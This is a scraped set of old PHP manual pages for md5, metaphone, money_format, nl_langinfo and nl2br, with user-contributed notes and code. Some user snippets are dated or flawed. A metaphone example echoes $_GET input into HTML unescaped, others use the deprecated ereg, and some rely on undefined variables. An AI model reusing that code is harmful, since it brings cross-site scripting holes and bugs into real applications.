        Converts from an arbitrary-base string to a decimal string
    */

    if (ereg('^[' . $Chars . ']+$', $Str))
    {
        $Result = '0';

        for ($i=0; $i<strlen($Str); $i++)
        {
            if ($i != 0) $Result = bcmul($Result, strlen($Chars));
            $Result = bcadd($Result, strpos($Chars, $Str[$i]));
        }

        return $Result;
    }

    return false;
}

/*******************************************/
function ConvertToArbitraryBase($Str, $Chars)
/*******************************************/
{
    /*
        Converts from a decimal string to an arbitrary-base string
    */

    if (ereg('^[0-9]+$', $Str))
    {
        $Result = '';

        do
        {
            $Result .= $Chars[bcmod($Str, strlen($Chars))];
            $Str = bcdiv($Str, strlen($Chars));
        }
        while (bccomp($Str, '0') != 0);

        return strrev($Result);
    }

    return false;
}

/**********************/
function CustomMD5($Str)
/**********************/
{
    return ConvertToArbitraryBase(ConvertFromArbitraryBase(md5($Str), HEX_CHARS), BASE62_CHARS);
}
?>
KB 11-Mar-2008 06:02
This is probably well known, but I had a hard time finding a reference to it.

While md5 on a null string returns null, md5 on an EMPTY string does not return null or an empty string.  Rather it returns "d41d8cd98f00b204e9800998ecf8427e"
admin at gadelkareem dot com 14-Jan-2008 08:16
MySQL MD() will not give you the same hash if character set is different.
ex :
<?php
#suppose table_name CHARSET=UTF8
#$md5 = md5('Städte'); # will give you a different hash than MySQL MD5()
#instead use
$md5 = md5(utf8_encode('Städte'));
$r = mysql_query("SELECT *, MD5(`word`) FROM `table_name` WHERE MD5(`word`) LIKE '{$md5}'");
if($r)
    while( $row= mysql_fetch_assoc($r) )
        print_r($row);

?>
dionyziz at deviantart dot com 11-Aug-2007 12:24
Sometimes it's useful to get the actual, binary, md5 digest.
You can use this function for it:

<?php

function md5bin( $target ) {
    $md5 = md5( $target );
    $ret = '';

    for ( $i = 0; $i < 32; $i += 2 ) {
        $ret .= chr( hexdec( $md5{ $i + 1 } ) + hexdec( $md5{ $i } ) * 16 );
    }

    return $ret;
}

?>
sebastian dot haller at freesurf dot ch 07-Apr-2007 12:06
It has been found, that hash('md5', 'string'); is faster than md5($string):

http://www.php.net/manual/en/function.hash.php
marzetti dot marco at NOSPAM dot gmail dot com 16-May-2006 03:12
The complement of raw2hex

<?php

function hex2raw( $str ){
  $chunks = str_split($str, 2);
  for( $i = 0; $i < sizeof($chunks); $i++ ) {
        $op .= chr( hexdec( $chunks[$i] ) );
    }
    return $op;
}

?>
rick.gaither 20-Dec-2005 09:14
This is a nifty function to help in securing your web-forms.

If no argument is passed the function will return an encrypted hex code representing the second it was called. If the same hex code is passed to the function it will return the number of seconds that have elapsed. The php script can then check the time between accessing the web-page and submitting the POST. This thwarts script ran web-form submissions. The program can verify a suitable period has elapsed for expected manual entries. The time check can be from 1 second to about 17 hours.

The function requires the latest PEAR Blowfish Encryption module.

This would go in the form:
<?php  print "<input type='hidden' value='" . FormTimer() . "' name='FormCode'>";  ?>

This would go in the main php (post) script:
<?php
$seconds = FormTimer($_POST['FormCode']);
if (($seconds < 10) || ($seconds > 1900)) { die "Your entry time took less than 10 seconds or more than 30 minutes"; }
?>

Function...
<?php
function FormTimer($CodeID="") {

    require ('Blowfish.php');
    require ('Blowfish/DefaultKey.php');

    $key = "Secret^Word";
    $bf = new Crypt_Blowfish($key);
     $current = substr(sprintf("%d", (time()+1)),-8);

    if (!$CodeID) { return bin2hex($bf->encrypt($current)); }

    $len = strlen($CodeID); $cValue = -1;
    for ($i=0;$i<$len;$i+=2) $Crypt.=chr(hexdec(substr($CodeID,$i,2)));

    if ($Crypt) {
        $time_called = $bf->decrypt($Crypt);
        if ($time_called) { $cValue = (intval($current) - intval($time_called)); }
    }
    return $cValue;
}
?>
terry _at_ scribendi_com 28-Apr-2005 07:39
Do not use the hex strings returned by md5() as a key for MCrypt 256-bit encryption.  Hex characters only represent four bits each, so when you take 32 hex characters, you are only really using a 128-bit key, not a 256-bit one.

Using an alphanumeric key generator [A-Za-z0-9] will also only provide a 192-bit key in 32 characters.

Two different MD5s concatenated in raw binary form, or mcrypt_create_iv(32,MCRYPT_DEV_RANDOM) will give you a true 256-bit key string.
John S. 03-Dec-2004 11:42
If you want to replicate CPAN Digest::MD5's function md5_base64 in PHP, use this code:

<?php

function md5_base64 ( $data )
{
    return preg_replace('/=+$/','',base64_encode(pack('H*',md5($data))));
}

?>
Shane Allen 14-Apr-2003 08:53
From the documentation on Digest::MD5:
md5($data,...)
This function will concatenate all arguments, calculate the MD5 digest of this "message", and return it in binary form.

md5_hex($data,...)
Same as md5(), but will return the digest in hexadecimal form.

PHP's function returns the digest in hexadecimal form, so my guess is that you're using md5() instead of md5_hex(). I have verified that md5_hex() generates the same string as PHP's md5() function.

(original comment snipped in various places)
>Hexidecimal hashes generated with Perl's Digest::MD5 module WILL
>NOT equal hashes generated with php's md5() function if the input
>text contains any non-alphanumeric characters.
>
>$phphash = md5('pa$$');
>echo "php original hash from text: $phphash";
>echo "md5 hash from perl: " . $myrow['password'];
>
>outputs:
>
>php original hash from text: 0aed5d740d7fab4201e885019a36eace
>hash from perl: c18c9c57cb3658a50de06491a70b75cd
md5_file
metaphone
String Functions


Calculate the metaphone key of a string

md5
money_format
String Functions
PHP Manual

metaphone

(PHP 4, PHP 5)

metaphone — Calculate the metaphone key of a string

Description

string metaphone ( string $str [, int $phonemes = 0 ] )

Calculates the metaphone key of str.

Similar to soundex() metaphone creates the same key for similar sounding words. It's more accurate than soundex() as it knows the basic rules of English pronunciation. The metaphone generated keys are of variable length.

Metaphone was developed by Lawrence Philips <lphilips at verity dot com>. It is described in ["Practical Algorithms for Programmers", Binstock & Rex, Addison Wesley, 1995].

Parameters

str

The input string.

phonemes

This parameter restricts the returned metaphone key to phonemes characters in length. The default value of 0 means no restriction.

Return Values

Returns the metaphone key as a string, or FALSE on failure.

Examples

Example #1 metaphone() basic example

<?php
var_dump(metaphone('programming'));
var_dump(metaphone('programmer'));
?>

The above example will output something similar to:

string(7) "PRKRMNK"
string(6) "PRKRMR"

Example #2 Using the phonemes parameter

<?php
var_dump(metaphone('programming', 5));
var_dump(metaphone('programmer', 5));
?>

The above example will output something similar to:

string(5) "PRKRM"
string(5) "PRKRM"

User Contributed Notes

usedformyjunk at gmail dot com 19-Apr-2010 11:17
I submitted my spanish metaphone version previously on 13-Oct-2005 05:44, but it was hosted on Geocities which is now gone, so it can now be found here.

Here is the link to my spanish metaphone implementation:

http://www.calvilloweb.com/spanish_metaphone.php
Vipindas K.S 09-May-2008 09:49
metaphone
=======================
The metaphone() function can be used for spelling applications.This function returns the metaphone key of the string on success, or FALSE on failure.Its main use is when you are searching a genealogy database. check to see if a metaphone search is offered. It is also useful in making/searching family tree.
Given below is a simple code that calculates and compares two strings to find whether its metaphone codes are equivalent.

html code
==========
<html>
<body>
<form action="test.php" name="test" method="get">
Name1:<input type="text" name="name1" /><br />
Name2:<input type="text" name="name2" /><br />
<input type="submit" name="submit" value="compare" />
</form>

<!--php code begins here -->

<?php
if(isset($_GET['submit']))
{
$str1 = $_GET['name1'];
$str2 = $_GET['name2'];
$meta_one=metaphone($str1);
$meta_two=metaphone($str2);
echo "metaphone code for ".$str1." is ". $meta_one;
echo "<br />";
echo "metaphone code for ".$str2." is ". $meta_two."<br>";
if($meta_one==$meta_two)
{
echo "metaphone codes are matching";
}
else
{
echo "metaphone codes are not matching";
}
}
?>

</body>
</html>

Metaphone  algorithm was developed by Lawrence Philips.

Lawrence Philips' RULES follow:

 The 16 consonant sounds:
                                             |--- ZERO represents "th"
                                             |
      B  X  S  K  J  T  F  H  L  M  N  P  R  0  W  Y

 Exceptions:

   Beginning of word: "ae-", "gn", "kn-", "pn-", "wr-"  ----> drop first letter
                      "Aebersold", "Gnagy", "Knuth", "Pniewski", "Wright"

   Beginning of word: "x"                                ----> change to "s"
                                      as in "Deng Xiaopeng"

   Beginning of word: "wh-"                              ----> change to "w"
                                      as in "Whalen"

 Transformations:

   B ----> B      unless at the end of word after "m", as in "dumb", "McComb"

   C ----> X      (sh) if "-cia-" or "-ch-"
           S      if "-ci-", "-ce-", or "-cy-"
                  SILENT if "-sci-", "-sce-", or "-scy-"
           K      otherwise, including in "-sch-"

   D ----> J      if in "-dge-", "-dgy-", or "-dgi-"
           T      otherwise

   F ----> F

   G ---->        SILENT if in "-gh-" and not at end or before a vowel
                            in "-gn" or "-gned"
                            in "-dge-" etc., as in above rule
           J      if before "i", or "e", or "y" if not double "gg"
           K      otherwise

   H ---->        SILENT if after vowel and no vowel follows
                         or after "-ch-", "-sh-", "-ph-", "-th-", "-gh-"
           H      otherwise

   J ----> J

   K ---->        SILENT if after "c"
           K      otherwise

   L ----> L

   M ----> M

   N ----> N

   P ----> F      if before "h"
           P      otherwise

   Q ----> K

   R ----> R

   S ----> X      (sh) if before "h" or in "-sio-" or "-sia-"
           S      otherwise

   T ----> X      (sh) if "-tia-" or "-tio-"
           0      (th) if before "h"
                  silent if in "-tch-"
           T      otherwise

   V ----> F

   W ---->        SILENT if not followed by a vowel
           W      if followed by a vowel

   X ----> KS

   Y ---->        SILENT if not followed by a vowel
           Y      if followed by a vowel

   Z ----> S
php at casadebender dot com 27-Mar-2008 10:24
A double metaphone pecl module is available: http://pecl.php.net/package/doublemetaphone
altano at bigfoot dot com 24-Nov-2005 01:48
You can find the source code of a working example on how to use metaphones for spell checking, plus a free MySQL database dump of American English words and their metaphones at http://dubi.org/spell-checker

That should get you started on writing a spell-checker or whatever in no time.
12-Oct-2005 10:44
I have a forum for spanish speakers and the speller that I was using was using the metaphone function  and it didn't make a lot of sense. I looked for an equivalent  metaphone function for spanish and I never even came close to find it, so I was very happy to find the functional DoubleMetaphone().  Thanks to that function, I came up with this spanish_metaphone function.

[Editor's Note: link is updated in a later comment]
stpierre(ta)nebr]NOSPAM[wesleyan(tod)edu 09-Jul-2004 11:17
A C implementation of double metaphone is at http://www.cpan.org/modules/ by-authors/id/MAURICE/Text-DoubleMetaphone-0.07.tar.gz.  (Sorry I had to break that URL up; wouldn't let me post it otherwise.)  If you really need double metaphone that badly, you could roll this into your PHP build for (I would suspect) substantial performance gains.
mail at spam-off dot iaindooley dot com 16-Jan-2004 12:37
you can use the metaphone function quite effectively with phrases by taking the levenshtein distances between two metaphone codes, and then taking this as a percentage of the length of the original metaphone code. thus you can define a percentage error, (say 20%) and accept only matches that are closer than that. i've found this works quite effectively in a function i am using on my website where an album name that the user entered is verified against existing album names that may be similar. this is also an excellent way of people being able to vaguely remember a phrase and get several suggestions out of the database. so you could type "i stiched nine times" with an error percentage of, say, 50 and still get 'a stitch in time saves nine' back as a match.
server: zinkconsulting.com user: galen@ 26-Nov-2003 02:18
A small warning about the double metaphone function/class implemented in php: it's slow. Very slow.

On my Mac OS X box it takes roughly 4 seconds to calculate the double_metaphone of a given string 1,000 times and set a variable to that value. Given the exact same code, the built in metaphone function takes a mere 0.03 seconds. That's a huge difference. For reference, soundex takes about 0.015 seconds.

I had dreams of ranking my person database search results with double_metaphone, but with searches yielding a few thousand results sometimes, this isn't terribly reasonable. I'm back to basic metaphone functions.

I'd suggest anyone considering the use of the double_metaphone functionality weigh the slight improvement in results with the fact it's 100 times slower than the php function metaphone. I believe this difference is probably due mostly to implementation and optimization (php code vs. optimized internal php function).

Anybody up for writing a double_metaphone function for php? Maybe php 5?
davef at getacard dot com 21-Apr-2000 06:52
A good reference to explain how the metaphone stuff works (and show you a working example) is:
http://www.lanw.com/java/phonetic/
md5
money_format
String Functions


Formats a number as a currency string

metaphone
nl_langinfo
String Functions
PHP Manual

money_format

(PHP 4 >= 4.3.0, PHP 5)

money_format — Formats a number as a currency string

Description

string money_format ( string $format , float $number )

money_format() returns a formatted version of number. This function wraps the C library function strfmon(), with the difference that this implementation converts only one number at a time.

Parameters

format

The format specification consists of the following sequence:

  • a % character

  • optional flags

  • optional field width

  • optional left precision

  • optional right precision

  • a required conversion character

Flags

One or more of the optional flags below can be used:

=f

The character = followed by a (single byte) character f to be used as the numeric fill character. The default fill character is space.

^

Disable the use of grouping characters (as defined by the current locale).

+ or (

Specify the formatting style for positive and negative numbers. If + is used, the locale's equivalent for + and - will be used. If ( is used, negative amounts are enclosed in parenthesis. If no specification is given, the default is +.

!

Suppress the currency symbol from the output string.

-

If present, it will make all fields left-justified (padded to the right), as opposed to the default which is for the fields to be right-justified (padded to the left).

Field width

w

A decimal digit string specifying a minimum field width. Field will be right-justified unless the flag - is used. Default value is 0 (zero).

Left precision

#n

The maximum number of digits (n) expected to the left of the decimal character (e.g. the decimal point). It is used usually to keep formatted output aligned in the same columns, using the fill character if the number of digits is less than n. If the number of actual digits is bigger than n, then this specification is ignored.

If grouping has not been suppressed using the ^ flag, grouping separators will be inserted before the fill characters (if any) are added. Grouping separators will not be applied to fill characters, even if the fill character is a digit.

To ensure alignment, any characters appearing before or after the number in the formatted output such as currency or sign symbols are padded as necessary with space characters to make their positive and negative formats an equal length.

Right precision

.p

A period followed by the number of digits (p) after the decimal character. If the value of p is 0 (zero), the decimal character and the digits to its right will be omitted. If no right precision is included, the default will dictated by the current local in use. The amount being formatted is rounded to the specified number of digits prior to formatting.

Conversion characters

i

The number is formatted according to the locale's international currency format (e.g. for the USA locale: USD 1,234.56).

n

The number is formatted according to the locale's national currency format (e.g. for the de_DE locale: EU1.234,56).

%

Returns the % character.

number

The number to be formatted.

Return Values

Returns the formatted string. Characters before and after the formatting string will be returned unchanged. Non-numeric number causes returning NULL and emitting E_WARNING.

Notes

Note:

The function money_format() is only defined if the system has strfmon capabilities. For example, Windows does not, so money_format() is undefined in Windows.

Note:

The LC_MONETARY category of the locale settings, affects the behavior of this function. Use setlocale() to set to the appropriate default locale before using this function.

Examples

Example #1 money_format() Example

We will use different locales and format specifications to illustrate the use of this function.

<?php

$number = 1234.56;

// let's print the international format for the en_US locale
setlocale(LC_MONETARY, 'en_US');
echo money_format('%i', $number) . "\n";
// USD 1,234.56

// Italian national format with 2 decimals`
setlocale(LC_MONETARY, 'it_IT');
echo money_format('%.2n', $number) . "\n";
// Eu 1.234,56

// Using a negative number
$number = -1234.5672;

// US national format, using () for negative numbers
// and 10 digits for left precision
setlocale(LC_MONETARY, 'en_US');
echo money_format('%(#10n', $number) . "\n";
// ($        1,234.57)

// Similar format as above, adding the use of 2 digits of right
// precision and '*' as a fill character
echo money_format('%=*(#10.2n', $number) . "\n";
// ($********1,234.57)

// Let's justify to the left, with 14 positions of width, 8 digits of
// left precision, 2 of right precision, withouth grouping character
// and using the international format for the de_DE locale.
setlocale(LC_MONETARY, 'de_DE');
echo money_format('%=*^-14#8.2i', 1234.56) . "\n";
// Eu 1234,56****

// Let's add some blurb before and after the conversion specification
setlocale(LC_MONETARY, 'en_GB');
$fmt = 'The final value is %i (after a 10%% discount)';
echo money_format($fmt, 1234.56) . "\n";
// The final value is  GBP 1,234.56 (after a 10% discount)

?>

See Also

  • setlocale() - Set locale information
  • sscanf() - Parses input from a string according to a format
  • sprintf() - Return a formatted string
  • printf() - Output a formatted string
  • number_format() - Format a number with grouped thousands

User Contributed Notes

phpdeveloperbalaji at gmail dot com 28-Sep-2011 01:04
Hi,

For South Asian Currencies, this function could be a handy one.

It will handle negative as well as float(Paise).

<?php
function my_money_format($number)
{
    if(strstr($number,"-"))
    {
        $number = str_replace("-","",$number);
        $negative = "-";
    }

    $split_number = @explode(".",$number);

    $rupee = $split_number[0];
    $paise = @$split_number[1];

    if(@strlen($rupee)>3)
    {
        $hundreds = substr($rupee,strlen($rupee)-3);
        $thousands_in_reverse = strrev(substr($rupee,0,strlen($rupee)-3));
        for($i=0; $i<(strlen($thousands_in_reverse)); $i=$i+2)
        {
            $thousands .= $thousands_in_reverse[$i].$thousands_in_reverse[$i+1].",";
        }
        $thousands = strrev(trim($thousands,","));
        $formatted_rupee = $thousands.",".$hundreds;

    }
    else
    {
        $formatted_rupee = $rupee;
    }

    if((int)$paise>0)
    {
        $formatted_paise = ".".substr($paise,0,2);
    }

    return $negative.$formatted_rupee.$formatted_paise;

}
?>

Thanks,
andrey.dobrozhanskiy [-a-t-] gmail com 07-Jul-2010 09:43
This function divides integer value by commas. F.e.

<?php
echo formatMoney(1050); # 1,050
echo formatMoney(1321435.4, true); # 1,321,435.40
echo formatMoney(10059240.42941, true); # 10,059,240.43
echo formatMoney(13245); # 13,245

function formatMoney($number, $fractional=false) {
    if ($fractional) {
        $number = sprintf('%.2f', $number);
    }
    while (true) {
        $replaced = preg_replace('/(-?\d+)(\d\d\d)/', '$1,$2', $number);
        if ($replaced != $number) {
            $number = $replaced;
        } else {
            break;
        }
    }
    return $number;
}
?>
Rafael M. Salvioni 19-Feb-2009 12:20
This is a some function posted before, however various bugs were corrected.

Thank you to Stuart Roe by reporting the bug on printing signals.

<?php
/*
That it is an implementation of the function money_format for the
platforms that do not it bear.

The function accepts to same string of format accepts for the
original function of the PHP.

(Sorry. my writing in English is very bad)

The function is tested using PHP 5.1.4 in Windows XP
and Apache WebServer.
*/
function money_format($format, $number)
{
    $regex  = '/%((?:[\^!\-]|\+|\(|\=.)*)([0-9]+)?'.
              '(?:#([0-9]+))?(?:\.([0-9]+))?([in%])/';
    if (setlocale(LC_MONETARY, 0) == 'C') {
        setlocale(LC_MONETARY, '');
    }
    $locale = localeconv();
    preg_match_all($regex, $format, $matches, PREG_SET_ORDER);
    foreach ($matches as $fmatch) {
        $value = floatval($number);
        $flags = array(
            'fillchar'  => preg_match('/\=(.)/', $fmatch[1], $match) ?
                           $match[1] : ' ',
            'nogroup'   => preg_match('/\^/', $fmatch[1]) > 0,
            'usesignal' => preg_match('/\+|\(/', $fmatch[1], $match) ?
                           $match[0] : '+',
            'nosimbol'  => preg_match('/\!/', $fmatch[1]) > 0,
            'isleft'    => preg_match('/\-/', $fmatch[1]) > 0
        );
        $width      = trim($fmatch[2]) ? (int)$fmatch[2] : 0;
        $left       = trim($fmatch[3]) ? (int)$fmatch[3] : 0;
        $right      = trim($fmatch[4]) ? (int)$fmatch[4] : $locale['int_frac_digits'];
        $conversion = $fmatch[5];

        $positive = true;
        if ($value < 0) {
            $positive = false;
            $value  *= -1;
        }
        $letter = $positive ? 'p' : 'n';

        $prefix = $suffix = $cprefix = $csuffix = $signal = '';

        $signal = $positive ? $locale['positive_sign'] : $locale['negative_sign'];
        switch (true) {
            case $locale["{$letter}_sign_posn"] == 1 && $flags['usesignal'] == '+':
                $prefix = $signal;
                break;
            case $locale["{$letter}_sign_posn"] == 2 && $flags['usesignal'] == '+':
                $suffix = $signal;
                break;
            case $locale["{$letter}_sign_posn"] == 3 && $flags['usesignal'] == '+':
                $cprefix = $signal;
                break;
            case $locale["{$letter}_sign_posn"] == 4 && $flags['usesignal'] == '+':
                $csuffix = $signal;
                break;
            case $flags['usesignal'] == '(':
            case $locale["{$letter}_sign_posn"] == 0:
                $prefix = '(';
                $suffix = ')';
                break;
        }
        if (!$flags['nosimbol']) {
            $currency = $cprefix .
                        ($conversion == 'i' ? $locale['int_curr_symbol'] : $locale['currency_symbol']) .
                        $csuffix;
        } else {
            $currency = '';
        }
        $space  = $locale["{$letter}_sep_by_space"] ? ' ' : '';

        $value = number_format($value, $right, $locale['mon_decimal_point'],
                 $flags['nogroup'] ? '' : $locale['mon_thousands_sep']);
        $value = @explode($locale['mon_decimal_point'], $value);

        $n = strlen($prefix) + strlen($currency) + strlen($value[0]);
        if ($left > 0 && $left > $n) {
            $value[0] = str_repeat($flags['fillchar'], $left - $n) . $value[0];
        }
        $value = implode($locale['mon_decimal_point'], $value);
        if ($locale["{$letter}_cs_precedes"]) {
            $value = $prefix . $currency . $space . $value . $suffix;
        } else {
            $value = $prefix . $value . $space . $currency . $suffix;
        }
        if ($width > 0) {
            $value = str_pad($value, $width, $flags['fillchar'], $flags['isleft'] ?
                     STR_PAD_RIGHT : STR_PAD_LEFT);
        }

        $format = str_replace($fmatch[0], $value, $format);
    }
    return $format;
}

?>
jeremy 30-Sep-2008 10:41
If money_format doesn't seem to be working properly, make sure you are defining a valid locale.  For example, on Debian, 'en_US' is not a valid locale - you need 'en_US.UTF-8' or 'en_US.ISO-8559-1'.

This was frustrating me for a while.  Debian has a list of valid locales at /usr/share/i18n/SUPPORTED; find yours there if it's not working properly.
swapnet 22-Jul-2008 08:24
Consider formatting currency for some South Asian countries that use ##,##,###.## money format.
The following code generates something like Rs. 4,54,234.00 and so on.

<?php
function convertcash($num, $currency){
    if(strlen($num)>3){
            $lastthree = substr($num, strlen($num)-3, strlen($num));
            $restunits = substr($num, 0, strlen($num)-3); // extracts the last three digits
            $restunits = (strlen($restunits)%2 == 1)?"0".$restunits:$restunits; // explodes the remaining digits in 2's formats, adds a zero in the beginning to maintain the 2's grouping.

            $expunit = str_split($restunits, 2);
            for($i=0; $i<sizeof($expunit); $i++){
                $explrestunits .= (int)$expunit[$i].","; // creates each of the 2's group and adds a comma to the end
            }

            $thecash = $explrestunits.$lastthree;
    } else {
           $thecash = $convertnum;
    }

    return $currency.$thecash.".00"; // writes the final format where $currency is the currency symbol.
}
?>

now call the function as  convertcash($row['price'], 'Rs '); // that's the price from the database I called using an Indian Rupees prefix where the price has to be a plain number format, say something like 454234.
scot from ezyauctionz.co.nz 06-Oct-2007 03:10
This is a handy little bit of code I just wrote, as I was not able to find anything else suitable for my situation.
This will handle monetary values that are passed to the script by a user, to reformat any comma use so that it is not broken when it passes through an input validation system that checks for a float.

It is not foolproof, but will handle the common input as most users would input it, such as 1,234,567 (outputs 1234567) or 1,234.00 (outputs 1234.00), even handles 12,34 (outputs 12.34), I expect it would work with negative numbers, but have not tested it, as it is not used for that in my situation.

This worked when other options such as money_format() were not suitable or possible.

<?php
///////////////
// BEGIN CODE convert all price amounts into well formatted values
function converttonum($convertnum,$fieldinput){
        $bits = explode(",",$convertnum); // split input value up to allow checking

        $first = strlen($bits[0]); // gets part before first comma (thousands/millions)
        $last = strlen($bits[1]); // gets part after first comma (thousands (or decimals if incorrectly used by user)

        if ($last <3){ // checks for comma being used as decimal place
            $convertnum = str_replace(",",".",$convertnum);
        }
        else{ // assume comma is a thousands seperator, so remove it
            $convertnum = str_replace(",","",$convertnum);
        }

        $_POST[$fieldinput] = $convertnum; // redefine the vlaue of the variable, to be the new corrected one
}

@converttonum($_POST[inputone],"inputone");
@converttonum($_POST[inputtwo],"inputtwo");
@converttonum($_POST[inputthree],"inputthree");
// END CODE
//////////////

?>

This is suitable for the English usage, it may need tweaking to work with other types.
richard dot selby at uk dot clara dot net 17-Feb-2006 07:02
Double check that money_format() is defined on any version of PHP you plan your code to run on.  You might be surprised.

For example, it worked on my Linux box where I code, but not on  servers running  BSD 4.11 variants. (This is presumably because strfmon  is not defined - see note at the top of teis page). It's not just a windows/unix issue.
metaphone
nl_langinfo
String Functions


Query language and locale information

money_format
nl2br
String Functions
PHP Manual

nl_langinfo

(PHP 4 >= 4.1.0, PHP 5)

nl_langinfo — Query language and locale information

Description

string nl_langinfo ( int $item )

nl_langinfo() is used to access individual elements of the locale categories. Unlike localeconv(), which returns all of the elements, nl_langinfo() allows you to select any specific element.

Parameters

item

item may be an integer value of the element or the constant name of the element. The following is a list of constant names for item that may be used and their description. Some of these constants may not be defined or hold no value for certain locales.

nl_langinfo Constants
Constant | Description
LC_TIME Category Constants
ABDAY_(1-7) | Abbreviated name of n-th day of the week.
DAY_(1-7) | Name of the n-th day of the week (DAY_1 = Sunday).
ABMON_(1-12) | Abbreviated name of the n-th month of the year.
MON_(1-12) | Name of the n-th month of the year.
AM_STR | String for Ante meridian.
PM_STR | String for Post meridian.
D_T_FMT | String that can be used as the format string for strftime() to represent time and date.
D_FMT | String that can be used as the format string for strftime() to represent date.
T_FMT | String that can be used as the format string for strftime() to represent time.
T_FMT_AMPM | String that can be used as the format string for strftime() to represent time in 12-hour format with ante/post meridian.
ERA | Alternate era.
ERA_YEAR | Year in alternate era format.
ERA_D_T_FMT | Date and time in alternate era format (string can be used in strftime()).
ERA_D_FMT | Date in alternate era format (string can be used in strftime()).
ERA_T_FMT | Time in alternate era format (string can be used in strftime()).
LC_MONETARY Category Constants
INT_CURR_SYMBOL | International currency symbol.
CURRENCY_SYMBOL | Local currency symbol.
CRNCYSTR | Same value as CURRENCY_SYMBOL.
MON_DECIMAL_POINT | Decimal point character.
MON_THOUSANDS_SEP | Thousands separator (groups of three digits).
MON_GROUPING | Like "grouping" element.
POSITIVE_SIGN | Sign for positive values.
NEGATIVE_SIGN | Sign for negative values.
INT_FRAC_DIGITS | International fractional digits.
FRAC_DIGITS | Local fractional digits.
P_CS_PRECEDES | Returns 1 if CURRENCY_SYMBOL precedes a positive value.
P_SEP_BY_SPACE | Returns 1 if a space separates CURRENCY_SYMBOL from a positive value.
N_CS_PRECEDES | Returns 1 if CURRENCY_SYMBOL precedes a negative value.
N_SEP_BY_SPACE | Returns 1 if a space separates CURRENCY_SYMBOL from a negative value.
P_SIGN_POSN
  • Returns 0 if parentheses surround the quantity and CURRENCY_SYMBOL.
  • Returns 1 if the sign string precedes the quantity and CURRENCY_SYMBOL.
  • Returns 2 if the sign string follows the quantity and CURRENCY_SYMBOL.
  • Returns 3 if the sign string immediately precedes the CURRENCY_SYMBOL.
  • Returns 4 if the sign string immediately follows the CURRENCY_SYMBOL.
N_SIGN_POSN
LC_NUMERIC Category Constants
DECIMAL_POINT | Decimal point character.
RADIXCHAR | Same value as DECIMAL_POINT.
THOUSANDS_SEP | Separator character for thousands (groups of three digits).
THOUSEP | Same value as THOUSANDS_SEP.
GROUPING
LC_MESSAGES Category Constants
YESEXPR | Regex string for matching "yes" input.
NOEXPR | Regex string for matching "no" input.
YESSTR | Output string for "yes".
NOSTR | Output string for "no".
LC_CTYPE Category Constants
CODESET | Return a string with the name of the character encoding.

Return Values

Returns the element as a string, or FALSE if item is not valid.

Notes

Note: This function is not implemented on Windows platforms.

See Also

  • setlocale() - Set locale information
  • localeconv() - Get numeric formatting information

User Contributed Notes

avatar_at_hot_ee 11-Mar-2006 07:58
The value MON_(1-12) has special behavior in Russian locale: it returns declinated month names, that can be used as part of a date string, but not on their own.

For instance instead of "Январь" (the proper nominative form) it returns "Января" (form declinated for use in dates).

There seems to be no way to get the nominative form of the month name - one has to use translations instead.
zerof at terra dot com dot br 22-Apr-2005 10:34
<?php

$vlr19900 = nl_langinfo (CODESET);
$vlr19901 = nl_langinfo (D_T_FMT);
$vlr19902 = nl_langinfo (D_FMT);
$vlr19903 = nl_langinfo (T_FMT);
$vlr19904 = nl_langinfo (DAY_1);
$vlr19905 = nl_langinfo (ABDAY_1);
$vlr19906 = nl_langinfo (MON_1);
$vlr19907 = nl_langinfo (ABMON_1);
$vlr19908 = nl_langinfo (RADIXCHAR);
$vlr19909 = nl_langinfo (THOUSEP);
$vlr19910 = nl_langinfo (YESEXPR);
$vlr19911 = nl_langinfo (NOEXPR);
$vlr19912 = nl_langinfo (CRNCYSTR);

echo "encoding codeset => " . $vlr19900;
echo "<br /><br />date/time string para strftime => " . $vlr19901;
echo "<br /><br />date string for strftime => " . $vlr19902;
echo "<br /><br />time string for strftime => " . $vlr19903;
echo "<br /><br />long form day name => " . $vlr19904;
echo "<br /><br />short form day name => " . $vlr19905;
echo "<br /><br />long form month name => " . $vlr19906;
echo "<br /><br />short form month name => " . $vlr19907;
echo "<br /><br />decimals separator => " . $vlr19908;
echo "<br /><br />thousands separator => " . $vlr19909;
echo "<br /><br />REGEXP for 'Yes' => " . $vlr19910;
echo "<br /><br />REGEXP for 'No' => " . $vlr19911;
echo "<br /><br />local currency simbol => " . $vlr19912;

?>
money_format
nl2br
String Functions


Inserts HTML line breaks before all newlines in a string

nl_langinfo
number_format
String Functions
PHP Manual

nl2br

(PHP 4, PHP 5)

nl2br — Inserts HTML line breaks before all newlines in a string

Description

string nl2br ( string $string [, bool $is_xhtml = true ] )

Returns string with '<br />' or '<br>' inserted before all newlines (\r\n, \n\r, \n and \r).

Parameters

string

The input string.

is_xhtml

Whenever to use XHTML compatible line breaks or not.

Return Values

Returns the altered string.

Examples

Example #1 Using nl2br()

<?php
echo nl2br("foo isn't\n bar");
?>

The above example will output:

foo isn't<br />
 bar

Example #2 Generating valid HTML markup using the is_xhtml parameter

<?php
echo nl2br("Welcome\r\nThis is my HTML document", false);
?>

The above example will output:

Welcome<br>
This is my HTML document

Example #3 Various newline separators

<?php
$string = "This\r\nis\n\ra\nstring\r";
echo nl2br($string);
?>

The above example will output:

This<br />
is<br />
a<br />
string<br />

Changelog

Version | Description
5.3.0 | Added the optional is_xhtml parameter.
4.0.5 | nl2br() is now XHTML compliant. All older versions will return string with '<br>' inserted before newlines instead of '<br />'.

See Also

  • htmlspecialchars() - Convert special characters to HTML entities
  • htmlentities() - Convert all applicable characters to HTML entities
  • wordwrap() - Wraps a string to a given number of characters
  • str_replace() - Replace all occurrences of the search string with the replacement string

User Contributed Notes

php at djurredeboer dot nl 29-Jul-2011 07:28
If you use nl2br over a html table you get a lot of new lines above this table. you can fix it by using this function
<?php
$input = nl2br("
    this is a test<br/>

    Aadasd
    asda
    asd
    asd
    <table>
    <td></td>
    <td></td>
    <td></td>
    </table>");
$output = preg_replace_callback('%<table(.*?)>(.*?)</table>%si', 'delTableBr',$input);

function delTableBr($groups) {
    return '<table'.$groups[1].'>'.preg_replace('/<br[^>]*?>/si', '',$groups[2]).'</table>';
}

?>
Now it will return
<br />
    this is a test<br/><br />
    <br />
    Aadasd<br />
    asda<br />
    asd<br />
    asd<br />
    <table>
    <td></td>
    <td></td>
    <td></td>
    </table>
matthewkastor at live dot com 17-Apr-2011 08:49
